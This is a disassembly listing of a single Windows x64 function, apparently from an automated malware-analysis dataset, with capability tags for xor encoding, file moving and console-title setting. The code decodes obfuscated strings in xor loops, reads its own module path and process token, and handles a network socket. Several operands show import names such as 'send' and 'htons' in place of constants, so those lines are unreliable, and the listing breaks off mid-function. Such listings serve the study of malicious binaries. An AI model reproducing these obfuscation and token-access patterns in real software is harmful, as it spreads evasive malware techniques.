Function at 0x1400209c0
Capabilities:
Encode data using xor
Move file
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x888]
sub rsp, 0x960
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400a3c40]
xor rax, rsp
mov qword [rbp + 0x820], rax
mov edx, 7
lea rcx, [rbp + 0x130]
call fcn.14001ad00
cmp qword [rax + 0x18], 0x10
jb 0x140020a1f
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140020a69
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020a64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002586c
call fcn.14005bc54
mov r8d, 0x104
lea rdx, [rbp + 0x6f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 7
lea rcx, [rbp + 0x110]
call fcn.14001ad00
nop
lea rdx, str..exe
mov rcx, rax
call fcn.1400088e0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], sil
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
lea rcx, [rbp + 0x6f0]
call fcn.14002b56c
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140020b14
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020b0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025872
call fcn.14005bc54
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140020b65
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020b60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025878
call fcn.14005bc54
lea rcx, [rbp + 0x560]
call fcn.140004a70
nop
mov qword [rbp + 0x590], rsi
mov qword [rbp + 0x5a0], rsi
mov qword [rbp + 0x5a8], send
mov byte [rbp + 0x590], 0
mov eax, dword [0x140092488]
mov dword [rbp + 0x4a8], eax
movzx eax, word [0x14009248c]
mov word [rbp + 0x4ac], ax
mov byte [rbp + 0x4a8], 0x4b
xor byte [rbp + 0x4a9], 0x36
xor byte [rbp + 0x4aa], 0x37
xor byte [rbp + 0x4ab], 0x38
xor byte [rbp + 0x4ac], 0x39
xor byte [rbp + 0x4ad], 0x3a
lea rdx, [rbp + 0x4a8]
lea rcx, [0x1409febe0]
call fcn.140017750
lea rdx, [rbp + 0x590]
lea rcx, [0x1409feda0]
call fcn.140026560
lea rax, [rbp + 0x150]
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
movups xmmword [rbp + 0x550], xmm0
lea rbx, vtable.ATL::CAccessToken.0
mov qword [rbp + 0x540], rbx
movdqu xmmword [rbp + 0x548], xmm0
mov qword [rbp + 0x558], rsi
xor eax, eax
movups xmmword [rbp + 0x670], xmm0
movups xmmword [rbp + 0x680], xmm0
movups xmmword [rbp + 0x690], xmm0
movups xmmword [rbp + 0x6a0], xmm0
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6d0], xmm0
mov qword [rbp + 0x6e0], rax
lea rcx, [rbp + 0x670]
call fcn.14001a230
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x4a0]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140020d52
lea rcx, [rbp + 0x540]
mov rax, qword [rbp + 0x540]
call qword [rax + htons]
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0x548], rax
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x540]
call fcn.140025f50
test al, al
je 0x140020d52
lea rcx, [rbp + 0x670]
call fcn.14001a3d0
mov rdx, rax
lea rcx, [rbp + 0x2e0]
call fcn.140025a70
nop
mov rdx, qword [rax]
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], send
mov r14, 0xffffffffffffffff
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140020d20
lea rcx, [rbp + 0x150]
call fcn.140003650
nop
lea rax, [rbp + 0x2e8]
mov rcx, qword [rbp + 0x2e0]
cmp rcx, rax
je 0x140020d50
call fcn.1400270d8
nop
jmp 0x140020d72
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], send
mov r14, 0xffffffffffffffff
lea rax, vtable.ATL::CSid.0
mov rdx, qword [rbp + 0x6e0]
mov qword [rbp + 0x670], rax
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020da1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6d8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020dc2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6d0]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020de3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6c8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020e05
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rdx, qword [rbp + 0x550]
test rdx, rdx
mov rcx, qword [rbp + 0x548]
mov qword [rbp + 0x540], rbx
je 0x140020e38
test rcx, rcx
je 0x140020e31
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rbp + 0x548]
mov qword [rbp + 0x550], rsi
test rcx, rcx
je 0x140020e4a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x548], rsi
mov edx, 8
mov rcx, qword [rbp + 0x558]
call fcn.14005bc54
mov qword [rbp + 0x558], rsi
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x298]
call fcn.140008b30
nop
lea r9, [rbp + 0x150]
mov r8, rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x560]
call fcn.1400055a0
mov ecx, dword [rbp + 0x64]
test ecx, ecx
je 0x140025495
sub ecx, 1
je 0x1400252e5
sub ecx, 1
je 0x140025135
sub ecx, 2
je 0x140024f85
cmp ecx, 1
jne 0x14002587e
movups xmm0, xmmword [str.vDRTOURL_7___3__dk]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [0x140091e30]
movups xmmword [rbp + 0x270], xmm1
movups xmm0, xmmword [0x140091e40]
movups xmmword [rbp + 0x280], xmm0
movzx eax, byte [0x140091e50]
mov byte [rbp + 0x290], al
mov r8d, esi
lea r12d, [rcx + 3]
lea r13d, [rcx + 0x1e]
mov edi, dword [0x1400a3c50]
cmp edi, 2
jl 0x140021057
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x264]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140020f50
cmp r8d, 0x31
jge 0x1400210a2
movsxd rax, r8d
lea r9, [rbp + 0x260]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140021070
lea rdx, [rbp + 0x260]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x560]
call fcn.140005e80
nop
cmp byte [rbp + 0x600], 0
je 0x140021285
lea rdx, [rbp + 0x198]
call fcn.140025a20
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x1400256b7
cmp edi, 2
jl 0x140021246
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140021140
cmp esi, 0x26
jge 0x1400256b7
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x35
add dl, sil
xor byte [r8], dl
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jge 0x1400256b7
jmp 0x140021250
mov eax, dword [0x140092420]
mov dword [rsp + 0x54], eax
movzx eax, byte [0x140092424]
mov byte [rsp + 0x54], 0x57
xor byte [rsp + 0x55], 0x36
xor byte [rsp + 0x56], 0x37
xor byte [rsp + 0x57], 0x38
xor al, 0x39
mov byte [rsp + 0x58], al
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], 0
lea rax, [rsp + 0x54]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400212d0
lea rdx, [rsp + 0x54]
lea rcx, [rbp - 0x58]
call fcn.140003650
nop
lea rdx, [rbp + 0x590]
lea rcx, [rbp - 0x58]
call fcn.140008980
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4c0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14002136d
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021368
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025886
call fcn.14005bc54
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], send
mov byte [rbp - 0x58], 0
lea rcx, [rbp + 0x4b0]
cmp qword [rbp + 0x4c8], 0x10
cmovae rcx, qword [rbp + 0x4b0]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movups xmm0, xmmword [str.eSEUXTRI]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x140091dd0]
mov word [rbp + 0x180], ax
cmp byte [0x140091dd1], 0
je 0x140021562
mov r8d, esi
cmp edi, 2
jl 0x140021517
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140021410
cmp r8d, 0x12
jge 0x140021562
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140021530
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
setae r10b
mov r9, qword [rbp + 0x650]
cmovae rcx, r9
lea r8, [rbp + 0x170]
sub r8, rcx
nop word [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x1400215a3
inc rcx
test eax, eax
jne 0x140021590
test edx, edx
jne 0x140021d13
movups xmm0, xmmword [0x140092260]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140092270]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x140092280]
movsd qword [rbp], xmm0
movzx eax, word [0x140092288]
mov word [rbp + 8], ax
movzx eax, byte [0x14009228a]
mov byte [rbp + 0xa], al
mov r8d, esi
cmp edi, 2
jl 0x140021737
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140021630
cmp r8d, 0x2b
jge 0x140021782
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140021750
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rax
lea rdx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rdx, qword [rbp + 0x650]
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], send
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x1400217e0
lea rcx, [rbp + 0x88]
call fcn.140003650
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x560]
call fcn.140007190
nop
mov rbx, qword [rbp + 0x4d0]
cmp rbx, qword [rbp + 0x4d8]
jne 0x140021986
test rbx, rbx
je 0x140021873
mov rdx, qword [rbp + 0x4e0]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x140021859
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002588c
mov rcx, rbx
call fcn.14005bc54
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x1400218b4
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400218af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025892
call fcn.14005bc54
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x14002191c
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021916
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025898
call fcn.14005bc54
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x14002192e
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14002197c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021977
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002589e
call fcn.14005bc54
mov eax, 1
jmp 0x140021cd4
movups xmm0, xmmword [0x1400921c8]
movups xmmword [rbp + 0x40], xmm0
movsd xmm1, qword [str.___f_2.LX__ZNX]
movsd qword [rbp + 0x50], xmm1
cmp byte [0x1400921df], 0
je 0x140021b32
mov r8d, esi
cmp edi, 2
jl 0x140021af3
movdqa xmm5, xmmword [0x1400926e0]
mov edx, esi
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x44]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400219f2
jmp 0x140021b32
lea r9, [rbp + 0x40]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140021b00
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], send
lea rax, [rbp + 0x40]
nop dword [rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140021b50
mov r8, r14
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x68]
call fcn.140003650
mov rdx, rbx
lea rcx, [rbp + 0x68]
call fcn.1400204c0
nop
mov rcx, qword [rbp + 0x4d0]
test rcx, rcx
je 0x140021bc9
mov rdx, qword [rbp + 0x4e0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021bb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002588c
call fcn.14005bc54
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x140021c0a
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021c05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025892
call fcn.14005bc54
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x140021c72
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021c6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025898
call fcn.14005bc54
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140021c84
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x140021cd2
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021ccd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002589e
call fcn.14005bc54
xor eax, eax
mov rcx, qword [rbp + 0x820]
xor rcx, rsp
call fcn.14005b700
lea r11, [rsp + 0x960]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, dword [str.pETYI__]
mov dword [rsp + 0x64], eax
movzx eax, word [0x1400922ac]
mov word [rsp + 0x68], ax
movzx eax, byte [0x1400922ae]
mov byte [rsp + 0x64], 0x45
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
